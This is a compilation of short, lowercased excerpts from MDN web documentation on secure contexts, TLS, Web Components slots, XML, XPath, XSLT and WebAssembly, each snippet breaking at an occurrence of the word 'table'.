Features restricted to secure contexts - Web security
that actually support secure contexts are listed in this document. see here for information on secure contexts support. api chrome/opera edge safari firefox async clipboard api 66 not supported not supported 63 background sync (see syncmanager, for example) 49 not supported not supported not supported cache-control: immu
table not supported 15 11 49 credential management api 51 not supported not supported not supported generic sensor api 67 not supported not supported not supported payment request api (and basic card payment). 61 15 11.1 in development (behind the dom.payments.request.enabled pref). push api 42 17 not supported...
Transport Layer Security - Web security
ated, and the method that will be used to encrypt data. the cipher suite in tls 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication. different software might use different names for the same cipher suites. for instance, the names used in openssl and gnutls differ from those in the tls standards. the cipher names correspondence
table on the mozilla opsec team's article on tls configurations lists these names as well as information about compatibility and security levels. configuring your server correctly configuring your server is crucial. in general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. the mozilla opsec gui...
Using templates and slots - Web Components
equal to the name of the slot we want it to fill. as before, this can be anything you like, for example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> or <my-paragraph> <ul slot="my-text"> <li>let's have some different text!</li> <li>in a list!</li> </ul> </my-paragraph> note: elements that can be inserted into slots are known as slo
table; when an element has been inserted in a slot, it is said to be slotted. note: an unnamed <slot> will be filled with all of the custom element's top-level child nodes that do not have the slot attribute. this includes text nodes. and that's it for our trivial example. if you want to play with it some more, you can find it on github (see it running live also). a more involved example to fini...
Web Components
used as the basis of custom element structures. the associated dom interface is htmltemplateelement. <slot> a placeholder inside a web component that you can fill with your own markup, which lets you create separate dom trees and present them together. the associated dom interface is htmlslotelement. the slot global html attribute assigns a slot in a shadow dom shadow tree to an element. slo
table a mixin implemented by both element and text nodes, defining features that allow them to become the contents of an <slot> element. the mixin defines one attribute, slo
table.assignedslot, which returns a reference to the slot the node is inserted in. element extensions extensions to the element interface related to slots: element.slot: returns the name of the shadow dom slot attached to ...
XML Index - XML: Extensible Markup Language
guage similar to html. it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language. this means, unlike other markup languages, xml is not predefined so you must define your own tags. the primary purpose of the language is the sharing of data across different systems, such as the internet. 4 xml:base html baseelement, needsspec
table, svg, xml:base xml:base is like the html baseelement but can specify the base uri per element as well as the entire document. ...
Introduction to using XPath in JavaScript - XPath
e(components.interfaces.nsidomxpathevaluator) appendix implementing a user defined namespace resolver this is an example for illustration only. this function will need to take namespace prefixes from the xpathexpression and return the uri that corresponds to that prefix. for example, the expression: '//xhtml:td/mathml:math' will select all mathml expressions that are the children of (x)html
table data cell elements. in order to associate the 'mathml:' prefix with the namespace uri 'http://www.w3.org/1998/math/mathml' and 'xhtml:' with the uri 'http://www.w3.org/1999/xhtml' we provide a function: function nsresolver(prefix) { var ns = { 'xhtml' : 'http://www.w3.org/1999/xhtml', 'mathml': 'http://www.w3.org/1998/math/mathml' }; return ns[prefix] || null; } our call to docu...
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
s method specifies output format. version specifies the value of the version attribute of the xml or html declaration in the output document. this attribute is only used when method="html" or method="xml". encoding specifies the value of the encoding attribute in the output document. omit-xml-declaration indicates whether or not to include an xml declaration in the output. accep
table values are "yes" or "no". standalone (not supported.) if present, indicates that a standalone declaration should occur in the output document and gives its value. accep
table values are "yes" or "no". doctype-public specifies the value of the public attribute of the doctype declaration in the output document. doctype-system specifies the value of the system attribute of the doctype ...
Index - XSLT: Extensible Stylesheet Language Transformations
or display. 8 interface list needscontent, reference see xsltprocessor in the web api documentation section. 9 introduction gecko, intro, javascript, xslt with modern browsers supporting xslt, developers can now use javascript to access the power that xslt provides. javascript can enable a web application to load xml data, process it via xslt into a presen
table form and then add it into an existing document. since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. 10 javascript/xslt bindings dom, javascript, xml, xslt javascript can run xslt transformations through the xsltprocessor object. once instantiated, an xsltprocessor has an xsltprocessor.importstylesheet(...
An Overview - XSLT: Extensible Stylesheet Language Transformations
wn specialized syntax, an xslt stylesheet is an xml document, which must conform to all xml rules, including well-formedness. so the model for transformation is that one xml document is used to transform another xml document. an xslt stylesheet is marked as such by the inclusion of a standard xslt heading. the outermost element in an xslt stylesheet must be the <xsl:stylesheet> element (an accep
table alternate is the <xsl:transform> element). this element will include at least one namespace declaration and the mandatory version attribute. other namespaces and three optional attributes may also be included. the mandatory namespace for xslt is "http://www.w3.org/1999/xsl/transform". namespaces are the subject of a fair amount of confusion in xml. despite the fact that very often namespaces ...
Loading and running WebAssembly code - WebAssembly
bly.instance.exports property. your code might look something like this: webassembly.instantiatestreaming(fetch('mymodule.wasm'), importobject) .then(obj => { // call an exported function: obj.instance.exports.exported_func(); // or access the buffer contents of an exported memory: var i32 = new uint32array(obj.instance.exports.memory.buffer); // or access the elements of an exported
table: var
table = obj.instance.exports.
table; console.log(
table.get(0)()); }) note: for more information on how exporting from a webassembly module works, have a read of using the webassembly javascript api, and understanding webassembly text format. using xmlhttprequest xmlhttprequest is somewhat older than fetch, but can still be happily used to get a typed array. again, assuming our module...
Compiling from Rust to WebAssembly - WebAssembly
won't need rust installed. they may not even notice that it's written in webassembly. rust environment setup let's go through all the required steps to get our environment set up. install rust install rust by going to the install rust page and following the instructions. this installs a tool called "rustup", which lets you manage multiple versions of rust. by default, it installs the latest s
table rust release, which you can use for general rust development. rustup installs rustc, the rust compiler, as well as cargo, rust's package manager, rust-std, rust's standard libraries, and some helpful docs — rust-docs. note: pay attention to the post-install note about needing cargo's bin directory in your system path. this is added automatically, but you must restart your terminal for it to t...